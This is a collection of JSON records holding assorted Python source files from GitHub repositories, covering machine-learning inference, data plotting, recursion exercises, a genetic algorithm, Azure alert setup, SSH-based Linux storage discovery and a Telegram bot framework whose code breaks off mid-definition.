+{"seq_id":"26656190814","text":"import os\nimport cv2\nimport csv\nimport timm\nimport torch\nimport numpy as np\nimport albumentations as A\nfrom torch.utils.data import Dataset, DataLoader\n\n# 절대경로 수정필요\nabsolute_path = 'C:/smartrash_workspace/smartrash/src/main/webapp/resources/python/csv/'\n\nf = open(absolute_path + 'test.csv', 'r')\nrdr = csv.reader(f)\n\ntestPath = ''\nfilePath = ''\n\nfor line in rdr:\n testPath = line[0]\n filePath = line[1]\n\nf.close()\n\nmodel_name = \"swsl_resnext50_32x4d\"\nbatch_size = 96\n\n\nclass TestDataset(Dataset):\n def __init__(self, file_lists, transforms=None):\n self.file_lists = file_lists.copy()\n self.transforms = transforms\n\n def __getitem__(self, idx):\n img = cv2.imread(self.file_lists[idx], cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n if self.transforms:\n img = self.transforms(image=img)[\"image\"]\n\n img = img.transpose(2, 0, 1)\n\n img = torch.tensor(img, dtype=torch.float)\n return img\n\n def __len__(self):\n return len(self.file_lists)\n\n\ndevice = torch.device(\"cpu\") # cpu\n# device = torch.device(\"cuda\") # gpu\n\nclass_path = testPath + 'dataset/'\nclass_list = os.listdir(class_path)\nclass_encoder = {}\n\nfor i in class_list:\n class_encoder.update({class_list[class_list.index(i)]: class_list.index(i)})\n\nclass_decoder = {v: k for k, v in class_encoder.items()}\n\n\ntest_transforms_ = A.Compose([\n A.Normalize()\n])\n\ntest_files = [filePath]\n\ntest_dataset = TestDataset(file_lists=test_files, transforms=test_transforms_)\ntest_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\nanswer_logits = []\n\nmodel = timm.create_model(model_name, pretrained=True, num_classes=len(class_list)).to(device)\nmodel.load_state_dict(torch.load(testPath + 'model.pth', map_location=\"cpu\"))\nmodel.eval()\n\nwith torch.no_grad():\n for iter_idx, test_imgs in enumerate(test_loader, 1):\n test_imgs = test_imgs.to(device)\n test_pred = model(test_imgs)\n\n print(class_decoder[np.argmax(test_pred.cpu(), axis=-1).item()])\n","repo_name":"smarTrash22/smarTrash","sub_path":"src/main/webapp/resources/python/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"22485138555","text":"\nimport datetime as dt\nfrom os import write\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport plotly\nimport plotly.express as px\nimport plotly.figure_factory as ff\nimport seaborn as sns\nimport streamlit as st\nfrom pandas._config.config import options\nfrom pandas.core.frame import DataFrame\nfrom PIL import Image\n\n\ndef covidDeathsByCountry(data: DataFrame):\n\n data_options = st.multiselect('Select fields: ', data.columns)\n\n try:\n df = data[data_options[0]]\n country_options = st.multiselect('Select country', df)\n\n country = data.loc[data[data_options[0]] == country_options[0]]\n\n size = country.columns.__len__()\n\n # Generate Graph\n x = country.columns[4:size-1]\n x = pd.to_datetime(x, format='%m/%d/%y')\n\n deaths = country.loc[:, country.columns[4]:country.columns[size-1]]\n data_index = deaths.index[0]\n\n d = {\n 'columns': country.columns[4:size-1],\n 'data': [deaths.loc[data_index]],\n 'index': [1]\n }\n\n # plot graph\n try:\n st.set_option('deprecation.showPyplotGlobalUse', False)\n df = pd.DataFrame(\n d['data'], columns=d['columns'], index=d['index'])\n df.columns.names = ['Covid deaths']\n row = df.iloc[0]\n row.plot(kind=\"line\")\n plt.show()\n st.pyplot()\n\n except:\n st.warning('The graph could not be generated')\n\n except:\n st.warning(\"Please select a field\")\n\n\n# Predicción de mortalidad por COVID en un Departamento.\ndef covidDeathsPredictionByDep(data: DataFrame):\n\n\n data_options = st.multiselect('Select fields: ', data.columns)\n\n try:\n\n pass\n\n except:\n st.warning('Please select a field')\n\n \n","repo_name":"solaresjuan98/COVID_TRACKER","sub_path":"app/coviddeaths.py","file_name":"coviddeaths.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3604744164","text":"def is_outside(row, col, lab):\n if row < 0 or col < 0 or row >= len(lab) or col >= len(lab[0]):\n return True\n return False\n\n\ndef cannot_move(lab, row, col):\n if lab[row][col] == '*':\n return True\n\n\ndef marked_path(lab, row, col):\n if lab[row][col] == 'v':\n return True\n\n\ndef find_all_paths(row, col, lab, direction, path):\n\n if is_outside(row, col, lab):\n return\n\n if cannot_move(lab, row, col):\n return\n\n if marked_path(lab, row, col):\n return\n\n path.append(direction)\n\n if lab[row][col] == 'e':\n print(''.join(path))\n\n else:\n lab[row][col] = 'v'\n find_all_paths(row, col + 1, lab, 'R', path)\n find_all_paths(row, col - 1, lab, 'L', path)\n find_all_paths(row + 1, col, lab, 'D', path)\n find_all_paths(row - 1, col, lab, 'U', path)\n lab[row][col] = '-'\n\n path.pop()\n\n\nn = int(input())\nm = int(input())\nmatrix = [[x for x in input()] for _ in range(n)]\n\n\nfind_all_paths(0, 0, matrix, '', [])\n","repo_name":"Velin-Todorov/SoftUni","sub_path":"Algorithms with Python/Recursion/Recursion Lab/Find all Paths in a Labyrinth.py","file_name":"Find all Paths in a Labyrinth.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"31811492298","text":"import numpy as np\nimport random, statistics, math\nimport matplotlib.pyplot as plt\n\ngrid = np.zeros((8,8), np.int)\ngrid[:1,] = grid[-1:,] = grid[:,:1] = grid[:,-1:] = grid[4][-2] = grid[3][-2] = -1\ngrid[2][-2] = grid[3][-3] = grid[4][-3] = grid[5][-2] = grid[1:2,1:-1] = grid[-2:-1,1:-1] = grid[:,1:2] = 1\n\nsteps = 28\nwhere = (1,1)\nfacing = 1\n# 0 north, 1 east, 2 south, 3 west\n\ndef randomString():\n\tstring = ''\n\tfor x in range(1,(steps*2)+1):\n\t\tstring += str(random.randint(0,1))\n\tfit = fitness(string)\n\t# print(fit)\n\t# if fit < 8:\n\t\t# return randomString()\n\t# else:\n\treturn string\n\n\ndef initializePopulation(n):\n\tpop = []\n\tfor x in range(1,n+1):\n\t\tpop.append(randomString())\n\treturn pop\n\n# 11 forward, 01 right, 10, left, 00 nothing from path\n\ndef extract(str):\n\treturn (str[0:2],str[2:])\n\ndef allMoves(string):\n\t# print(string)\n\tmoves = []\n\twhile len(string) != 0:\n\t\tcurrentMove,remainingstr = extract(string)\n\t\tstring = remainingstr\n\t\tmoves.append(currentMove)\n\treturn moves\n\ndef calcGrid(string):\n\tmoves = allMoves(string)\n\tfitness = 1\n\tcurr = where\n\tcurrentfacing = facing\n\ttempgrid = grid.copy()\n\ttempgrid[curr] = 0\n\tfor x in moves:\n\t\tif x == '11':\n\t\t\tif currentfacing == 0 and (curr[0]-1 > -1) and tempgrid[curr[0]-1][curr[1]] != -1 :\n\t\t\t\tcurr = (curr[0]-1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 1 and (curr[1]+1 < 8) and tempgrid[curr[0]][curr[1]+1] != -1:\n\t\t\t\tcurr = (curr[0],curr[1]+1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 2 and (curr[0]+1 < 8) and tempgrid[curr[0]+1][curr[1]] != -1:\n\t\t\t\tcurr = (curr[0]+1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 3 and (curr[1]-1 > -1) and tempgrid[curr[0]][curr[1]-1] != -1 :\n\t\t\t\tcurr = (curr[0],curr[1]-1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\telif x == '01':\n\t\t\tcurrentfacing = (currentfacing+1)%4\n\t\telif x == '10':\n\t\t\tcurrentfacing = (currentfacing-1)%4 #turn left\n\treturn tempgrid\n\n\ndef fitness(string):\n\tmoves = allMoves(string)\n\tfitness = 1\n\tcurr = where\n\tcurrentfacing = facing\n\ttempgrid = grid.copy()\n\ttempgrid[curr] = 0\n\tfor x in moves:\n\t\tif x == '11':\n\t\t\tif currentfacing == 0 and (curr[0]-1 > -1) and tempgrid[curr[0]-1][curr[1]] != -1 :\n\t\t\t\tcurr = (curr[0]-1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 1 and (curr[1]+1 < 8) and tempgrid[curr[0]][curr[1]+1] != -1:\n\t\t\t\tcurr = (curr[0],curr[1]+1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 2 and (curr[0]+1 < 8) and tempgrid[curr[0]+1][curr[1]] != -1:\n\t\t\t\tcurr = (curr[0]+1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 3 and (curr[1]-1 > -1) and tempgrid[curr[0]][curr[1]-1] != -1 :\n\t\t\t\tcurr = (curr[0],curr[1]-1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\telif x == '01':\n\t\t\tcurrentfacing = (currentfacing+1)%4 #turn right\n\t\telif x == '10':\n\t\t\tcurrentfacing = (currentfacing-1)%4 #turn left\n\treturn fitness\n\n\ndef giveExpectedCount(outputs, popSize):\n\tarr = outputs.copy()\n\ttempArr = np.zeros(popSize, np.int)\n\twhile np.sum(tempArr) < popSize:\n\t\tmaxIndex = np.argmax(arr)\n\t\tmaxVal = arr[maxIndex]\n\t\tif(np.sum(tempArr) + math.ceil(maxVal + 0.5) > popSize):\n\t\t\tmaxIndex = np.argmax(arr)\n\t\t\tnewVal = popSize - np.sum(tempArr)\n\t\t\ttempArr[maxIndex] = newVal\n\t\t\tbreak\n\t\telse:\n\t\t\ttempArr[maxIndex] = math.ceil(maxVal + 0.5)\n\t\t\tarr[maxIndex] = 0\n\treturn tempArr\n\n\n\n\ndef expectedOutputs(fitnesses):\n\tpopSize = len(fitnesses)\n\ttotal = sum(fitnesses)\n\ttot = 0\n\tprobabilities = np.array([x/total for x in fitnesses])\n\texpectedOutputs = np.array([popSize*y for y in probabilities])\n\texpected = giveExpectedCount(expectedOutputs, popSize)\n\treturn expected\n\n\n\ndef evaluatePopulation(population):\n\tfitnesses = []\n\tfor x in population:\n\t\tfitnesses.append(fitness(x))\n\treturn fitnesses\n\n\ndef selectParents(population, expected):\n\tpop = population.copy()\n\tnewPop = []\n\tfor i in range(len(expected)):\n\t\tfor j in range(0, expected[i]):\n\t\t\tnewPop.append(pop[i])\n\n\treturn newPop\n\ndef mutate(string, popSize):\n\tret = '' \n\tlength = len(string)\n\tfor x in range(len(string)):\n\t\tprob = random.random()\n\t\tleft = right = 0\n\t\tif (1/popSize) < (1/length):\n\t\t\tleft = 1/popSize\n\t\t\tright = 1/length\n\t\telse:\n\t\t\tright = 1/popSize\n\t\t\tleft = 1/length\n\t\tif(prob > left and prob < right):\n\t\t\tif string[x] == '1':\n\t\t\t\tret += '0'\n\t\t\telse:\n\t\t\t\tret += '1'\n\t\telse:\n\t\t\tret += string[x]\n\n\treturn ret\n\n\n\t\n\ndef crossover(population):\n\tpop = population.copy()\n\tsize = len(population)\n\tnewPop = []\n\tfor i in range(0,size,2):\n\t\tfirst = pop[i]\n\t\tsecond = pop[i+1]\n\t\tcrossAt = random.randint(0,2*steps)\n\t\tfirstleft = first[:crossAt]\n\t\tfirstright = first[crossAt:]\n\t\tsecondleft = second[:crossAt]\n\t\tsecondright = second[crossAt:]\n\t\tpc = random.random()\n\t\tif (pc > 0.6 and pc < 0.9): #crossover\n\t\t\tnewOne = firstleft + secondright\n\t\t\tnewTwo = secondleft + firstright\n\t\telse:\n\t\t\tnewOne = first\n\t\t\tnewTwo = second\n\n\t\t\n\t\t# mutOrNot1 = random.random()\n\t\t# mutOrNot2 = random.random()\n\t\t# if mutOrNot1 < 1/size:\n\t\tnewOne = mutate(newOne, size)\n\t\t# if mutOrNot2 > 1/size:\n\t\tnewTwo = mutate(newTwo, size)\n\t\t\n\t\tnewPop.append(newOne)\n\t\tnewPop.append(newTwo)\n\treturn newPop\n\ndef selectNextGen(originalParents,offspring, fitnesses, offspringFitnesses):\n\tsize = len(originalParents)\n\tnextGen = []\n\tnextGenFitnesses = []\n\twhile (len(nextGen) != size):\n\t\tpMax = max(fitnesses)\n\t\toMax = max(offspringFitnesses)\n\t\tif pMax > oMax:\n\t\t\tind = np.argmax(fitnesses)\n\t\t\tnextGen.append(originalParents[ind])\n\t\t\tfitnesses[ind] = 0\n\t\t\tnextGenFitnesses.append(pMax)\n\t\telse:\n\t\t\tind = np.argmax(offspringFitnesses)\n\t\t\tnextGen.append(offspring[ind])\n\t\t\toffspringFitnesses[ind] = 0\n\t\t\tnextGenFitnesses.append(oMax)\n\n\treturn nextGen, nextGenFitnesses\n\ndef main():\n\tprint(\"Initial Grid\\n\",grid)\n\tsize = 20\n\t\n\n\tpopulation = initializePopulation(size)\n\tfitnesses = evaluatePopulation(population)\n\n\tgeneration = 1\n\tgens = []\n\tfits = []\n\tgens.append(generation)\n\tfits.append(max(fitnesses))\n\n\tprint(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\twhile (max(fitnesses) != 20 and generation != 100000):\n\t\texpectedOutput = expectedOutputs(fitnesses)\n\n\t\tparents = selectParents(population, expectedOutput)\n\t\toriginalParents = parents.copy()\n\t\trandom.shuffle(parents)\n\t\toffspring = crossover(parents)\n\n\t\toffspringFitnesses = evaluatePopulation(offspring)\n\t\tpopulation, fitnesses = selectNextGen(originalParents,offspring, fitnesses, offspringFitnesses)\n\n\t\tgeneration += 1\n\t\tgens.append(generation)\n\t\tfits.append(max(fitnesses))\n\t\tprint(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\t# generation += 1\n\t# print(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\t# maxWhere = np.argmax(fitnesses)\n\t# maxString = population[maxWhere]\n\t# print(calcGrid(maxString))\n\txmax = max(gens)\n\tymax = max(fits)\n\tfig = plt.figure()\n\tplt.xlabel('Generations')\n\tplt.ylabel('Maximum Fitnesses')\n\tplt.title('Population Size '+str(size))\n\tplt.plot(gens,fits)\n\tplt.plot(xmax,ymax, 'bo')\n\tplt.annotate('Maximum at '+str(ymax), xy=(xmax, ymax), xytext=(xmax-20000, ymax-5),\n arrowprops=dict(facecolor='black', shrink=0.05),\n )\n\n\tfig.savefig('graph'+str(size)+'.png')\n\nmain()","repo_name":"abdullahshamail/CS-331-Artificial-Intelligence","sub_path":"Assignment 1/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":7193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"39582948094","text":"import os\nimport sys\nfrom datetime import timedelta\nfrom azure.mgmt.monitor.v2022_08_01_preview.models import Condition, ScheduledQueryRuleCriteria, ScheduledQueryRuleResource, Actions\nfrom workflow_utils.workflow_utils import setup_logger, log_event, load_config\nfrom workflow_utils.pyclientauth import initialize_client\n\n\ndef parse_time(time_str):\n \"\"\"Parse time strings ending with 'h' or 'd' into value and unit.\"\"\"\n unit = 'hours' if time_str[-1] == 'h' else 'days'\n value = int(time_str[:-1])\n return value, unit\n\n\ndef create_alert(monitor_client, resource_client, resource_group, subscription_id, workspace_name, alert_data):\n \"\"\"Create alert.\"\"\"\n # Define condition\n condition = Condition(\n time_aggregation=alert_data['condition']['time_aggregation'],\n operator=alert_data['condition']['operator'],\n threshold=alert_data['condition']['threshold'],\n query=alert_data['condition']['query'],\n metric_measure_column=alert_data['condition']['metric_measure_column']\n )\n\n # Define rule criteria\n rule_criteria = ScheduledQueryRuleCriteria(all_of=[condition])\n\n # Parse evaluation_frequency and window_size to handle 'h' and 'd'\n evaluation_frequency_value, evaluation_frequency_unit = parse_time(alert_data['evaluation_frequency'])\n window_size_value, window_size_unit = parse_time(alert_data['window_size'])\n\n # Get the location of the workspace\n workspace = resource_client.resources.get_by_id(\n f\"/subscriptions/{subscription_id}/resourceGroups/{resource_group}/providers/Microsoft.OperationalInsights/workspaces/{workspace_name}\",\n '2022-10-01')\n workspace_location = workspace.location\n action_group_ids = [\n f\"/subscriptions/{subscription_id}/resourcegroups/{resource_group}/providers/microsoft.insights/actiongroups/ag_log_app\"\n ]\n\n\n actions = Actions(action_groups=action_group_ids, custom_properties={\"key1:\" \"value1\", \"key2:\" \"value2\"})\n\n # Define alert resource\n alert = ScheduledQueryRuleResource(\n location=\"eastus\",\n description=alert_data['description'],\n display_name=alert_data['alert_name'],\n severity=alert_data['severity'],\n enabled=True,\n scopes=[\n f\"/subscriptions/{subscription_id}/resourceGroups/{resource_group}/providers/Microsoft.OperationalInsights/workspaces/{workspace_name}\"],\n evaluation_frequency=timedelta(**{evaluation_frequency_unit: evaluation_frequency_value}),\n window_size=timedelta(**{window_size_unit: window_size_value}),\n actions=actions,\n criteria=rule_criteria\n )\n\n # Create or update the alert\n monitor_client.scheduled_query_rules.create_or_update(resource_group_name=resource_group,\n rule_name=alert_data['alert_name'],\n parameters=alert)\n\n\ndef main(file_path):\n \"\"\"Main function.\"\"\"\n # Create a monitor management client.\n resource_group = os.environ.get(\"LAW_RG\")\n subscription_id = os.environ.get(\"SUBSCRIPTION_ID\")\n workspace_name = os.environ.get(\"LAW_NAME\")\n\n monitor_client = initialize_client(\"monitor\")\n resource_client = initialize_client(\"resource\")\n\n data = load_config(file_path)\n for alert in data['alerts']:\n create_alert(monitor_client, resource_client, resource_group, subscription_id, workspace_name, alert)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: python script_name.py \")\n sys.exit(1)\n\n json_file_path = sys.argv[1]\n main(json_file_path)\n","repo_name":"GrannyProgramming/AzureMLOpsInProduction","sub_path":"mlops/monitoring/azure_monitor/create_alerts.py","file_name":"create_alerts.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"}
+{"seq_id":"13688115072","text":"#!/usr/bin/python3\n\n\"\"\"Function that adds all the unique elemnts of a list\"\"\"\n\n\ndef uniq_add(my_list=[]):\n\n new_list = list(sorted(set(my_list)))\n sum = 0\n for i in new_list:\n sum = sum + i\n return sum\n","repo_name":"paulllllo/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/2-uniq_add.py","file_name":"2-uniq_add.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3729275089","text":"from linkedlistpractice import LinkedList\n\ndef middleOfList(self):\n\ttortoise = self.head\n\thare = self.head\n\twhile hare and hare.next:\n\t\ttortoise = tortoise.next\n\t\thare = hare.next.next\n\treturn tortoise\n \n \n\ncustomLL = LinkedList()\ncustomLL.generate(10, 0, 99)\nprint(customLL)\nprint(middleOfList(customLL))\n\n","repo_name":"kayvera/python_practice","sub_path":"LinkedList/deletemiddlenode.py","file_name":"deletemiddlenode.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"7448590010","text":"# Function checks the popularity of certain words in the text.\n\n\ntext = \"When I was One \" \\\n \"I had just begun \" \\\n \"When I was Two \" \\\n \"I was nearly new \"\n\nwords = ['i', 'was', 'three', 'near']\n\n\ndef popular_words(text, words):\n pos = 0\n new_list = text.lower().split()\n this_dict = {}\n for n in words:\n counted_word = new_list.count(words[pos])\n this_dict[words[pos]] = counted_word\n pos += 1\n return this_dict\n\n","repo_name":"marbor92/checkio_python","sub_path":"popular_words.py","file_name":"popular_words.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16795721306","text":"# -*- coding: utf-8 -*-\n\nimport json\nfrom colored import fg, attr\n\nfrom models import ConfigurationItem, ConfigurationItemType, Relationship, RelationshipType, methods\n\nblue = fg('#46B1C9')\nred = fg('#B54653')\ngreen = fg('#86DEB7')\nreset = attr('reset')\n\n\ndef storage_discovery(client, ci):\n \"\"\"\n Gathers information about the storage of the Linux machine.\n\n Parameters\n ----------\n client: SSHClient\n The SSH client that permits the comunication with the machine that is being explored.\n\n ci: ConfigurationItem\n The configuration item that represents the Linux machine that is going to be explored.\n \"\"\"\n _, stdout, stderr = client.exec_command(\"/sbin/blkid\")\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 0:\n blocks = {}\n for b in range(0, len(memory)):\n name = memory[b].split(\":\")[0]\n info = memory[b].split(\":\")[1].split()\n blocks[name] = info\n\n for b in blocks:\n attrs = {}\n\n for pair in info:\n attrs[pair.split(\"=\")[0]] = pair.split(\"=\")[1].strip(\"\\\"\")\n##################################################################\n _, stdout, stderr = client.exec_command(\"df \" + str(b))\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 1:\n names = ['Filesystem', '1K-blocks', 'Used',\n 'Available', 'Use%', 'Mounted on']\n memory = memory[1].split()\n for i in range(len(names)):\n attrs[names[i]] = memory[i]\n##################################################################\n _, stdout, stderr = client.exec_command(\"lsblk \" + str(b))\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 1:\n names = ['NAME', 'MAJ:MIN', 'RM',\n 'SIZE', 'RO', 'TYPE', 'MOUNTPOINT']\n memory = memory[1].split()\n for i in range(len(names)):\n if i < len(memory):\n attrs[names[i]] = memory[i]\n\n obj = ConfigurationItem.ConfigurationItem()\n obj.set_title(name)\n\n mem_type = None\n for at in attrs:\n if at == \"RO\":\n if attrs.get(at) == '0':\n mem_type = methods.add_ci_type(\n ConfigurationItemType.ConfigurationItemType(\"SSD\"))\n elif attrs.get(at) == '1':\n mem_type = methods.add_ci_type(\n ConfigurationItemType.ConfigurationItemType(\"HDD\"))\n\n methods.define_attribute(at, attrs.get(at), obj)\n\n if mem_type != None:\n obj.set_type(mem_type.get_id())\n rel_type_ci_obj = methods.add_rel_type(\n RelationshipType.RelationshipType(\"has storage\"))\n rel_ci_obj = methods.create_relation(\n ci, obj, rel_type_ci_obj)\n rel_ci_obj.title = str(ci.get_title()) + \\\n \" has storage \" + str(obj.get_title())\n\n rel_type_obj_ci = methods.add_rel_type(\n RelationshipType.RelationshipType(\"is storage of\"))\n rel_obj_ci = methods.create_relation(\n obj, ci, rel_type_obj_ci)\n rel_obj_ci.title = str(obj.get_title()) + \\\n \" is storage of \" + str(ci.get_title())\n\n methods.add_rel(rel_ci_obj)\n methods.add_rel(rel_obj_ci)\n methods.add_ci(obj)\n","repo_name":"joanapereira115/cmdb-auto-creation","sub_path":"src/discovery_mechanisms/linux_discovery/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"72334059394","text":"import tensorflow.keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense,BatchNormalization\nfrom tensorflow.keras import regularizers\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras import Input, Model\n\nclass SimpleNN(object):\n def __init__(self,n_hidden=10):\n self.n_hidden=n_hidden\n self.optim=optimizers.RMSprop(learning_rate=0.00001)\n\n def __call__(self,params):\n model = Sequential()\n model.add(Dense(self.n_hidden, input_dim=params['dims'], activation='relu',name=\"hidden\",\n kernel_regularizer=regularizers.l1(0.001)))\n model.add(BatchNormalization())\n model.add(Dense(params['n_cats'], activation='softmax'))\n model.compile(loss='categorical_crossentropy',optimizer=self.optim, metrics=['accuracy'])\n model.summary()\n return model\n\ndef get_extractor(model_i):\n return Model(inputs=model_i.input,\n outputs=model_i.get_layer('hidden').output) ","repo_name":"tjacek/positional_voting","sub_path":"ECSCF/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13348897944","text":"from builtins import range\nimport sys\nsys.path.insert(1,\"../../../\")\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators.glm import H2OGeneralizedLinearEstimator\nfrom h2o.grid.grid_search import H2OGridSearch\n\ntry: # redirect python output\n from StringIO import StringIO # for python 3\nexcept ImportError:\n from io import StringIO # for python 2\n\n# This test is used to make sure when a user tries to set alpha in the hyper-parameter of gridsearch, a warning\n# should appear to tell the user to set the alpha array as an parameter in the algorithm.\ndef grid_alpha_search():\n warnNumber = 1\n hdf = h2o.upload_file(pyunit_utils.locate(\"smalldata/prostate/prostate_complete.csv.zip\"))\n\n print(\"Testing for family: TWEEDIE\")\n print(\"Set variables for h2o.\")\n y = \"CAPSULE\"\n x = [\"AGE\",\"RACE\",\"DCAPS\",\"PSA\",\"VOL\",\"DPROS\",\"GLEASON\"]\n\n hyper_parameters = {'alpha': [0, 0.5]} # set hyper_parameters for grid search\n\n print(\"Create models with lambda_search\")\n buffer = StringIO() # redirect output\n sys.stderr=buffer\n model_h2o_grid_search = H2OGridSearch(H2OGeneralizedLinearEstimator(family=\"tweedie\", Lambda=0.5),\n hyper_parameters)\n model_h2o_grid_search.train(x=x, y=y, training_frame=hdf)\n sys.stderr=sys.__stderr__ # redirect printout back to normal path\n\n # check and make sure we get the correct warning message\n warn_phrase = \"Adding alpha array to hyperparameter runs slower with gridsearch.\"\n try: # for python 2.7\n assert len(buffer.buflist)==warnNumber\n print(buffer.buflist[0])\n assert warn_phrase in buffer.buflist[0]\n except: # for python 3.\n warns = buffer.getvalue()\n print(\"*** captured warning message: {0}\".format(warns))\n assert warn_phrase in warns\n \nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(grid_alpha_search)\nelse:\n grid_alpha_search()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_8150_warning_alpha_grid.py","file_name":"pyunit_PUBDEV_8150_warning_alpha_grid.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"}
+{"seq_id":"38008531376","text":"import re\nfrom threading import Thread\nfrom time import sleep, time\nfrom traceback import print_exc\nfrom typing import Callable, List, Any\n\nimport requests\n\nfrom . import exceptions\nfrom .apis import GetUpdates\nfrom .model import API\nfrom .models import Update, Message, CallbackQuery, InlineQuery\n\n\nclass Process:\n\n def __init__(self, name: str, data: dict = None) -> None:\n self.name = name\n self.data = data or {}\n self.stage: str = 'default'\n\n\nclass TelegramBot:\n API_BASE_URL = 'https://api.telegram.org'\n\n def __init__(self, api_key: str) -> None:\n self.api_key = api_key\n self.update_listeners: dict[str, list[Callable[..., bool]]] = {}\n self.session = requests.Session()\n self.looper: Thread | None = None\n self.processes: dict[int, Process] = {}\n\n def start(self):\n if not self.looper:\n self.looper: Thread = Thread(target=self._update_loop)\n if not self.looper.is_alive():\n self.looper.start()\n\n def execute(self, api: API):\n request = api.get_request()\n request.url = f'{self.API_BASE_URL}/bot{self.api_key}/{request.url.strip(\"/\")}'\n response = self.session.send(request.prepare(), timeout=32, allow_redirects=False).json()\n if response['ok']:\n api.set_result(response['result'])\n return api.result\n else:\n raise Exception(response.get('description'))\n\n def _update_loop(self):\n offset = None\n while True:\n try:\n t = time()\n updates: List[Update] = self.execute(GetUpdates(offset=offset, timeout=30))\n print(1, time() - t)\n for update in updates:\n t = time()\n self._new_update(update)\n print(2, time() - t)\n offset = update.update_id + 1\n except:\n print_exc()\n sleep(60)\n\n def _new_update(self, update: Update):\n for update_type, callbacks in self.update_listeners.items():\n if update_type == update.type:\n for callback in callbacks:\n if callback(update):\n break\n\n def new_update(self, update: dict):\n return self._new_update(Update.from_dict(update))\n\n def add_listener(self, update_type: str, callback: Callable[[Update], bool]):\n listeners = self.update_listeners.get(update_type)\n if listeners is None:\n listeners = []\n self.update_listeners[update_type] = listeners\n listeners.append(callback)\n\n def create_process(self, chat_id: int, name: str, data: dict = None):\n if self.processes.get(chat_id):\n raise exceptions.ChatHasOpenProcess(chat_id)\n process = Process(name, data)\n self.processes[chat_id] = process\n return process\n\n def close_current_process(self, chat_id: int):\n process = self.processes.pop(chat_id, None)\n return process\n\n def on_process(self, process_name: str) \\\n -> Callable[[Callable[[Message, Process], Any]], Callable[[Message, Process], bool]]:\n def wrapper(handler: Callable[[Message, Process], bool]):\n def listener(update: Update):\n process = self.processes.get(update.message.chat.id)\n if process and process.name == process_name:\n return handler(update.message, process)\n\n self.add_listener('message', listener)\n return handler\n return wrapper\n\n def on_message(self, pattern: re.Pattern = None, ignore_process: bool = False) \\\n -> Callable[[Callable[[Message], Any]], Callable[[Message], bool]]:\n if pattern is None:\n pattern = re.compile('^[^/]')\n\n def wrapper(handler: Callable[[Message], bool]):\n def listener(update: Update):\n text = update.message.text or update.message.caption\n if text and pattern.match(text):\n if ignore_process or not self.processes.get(update.message.chat.id):\n return handler(update.message)\n\n self.add_listener('message', listener)\n return handler\n\n return wrapper\n\n def on_command(self, command_name: str, ignore_process: bool = False) \\\n -> Callable[[Callable[[Message], Any]], Callable[[Message], bool]]:\n return self.on_message(\n pattern=re.compile(f'^/{command_name}( |$)'),\n ignore_process=ignore_process\n )\n\n def 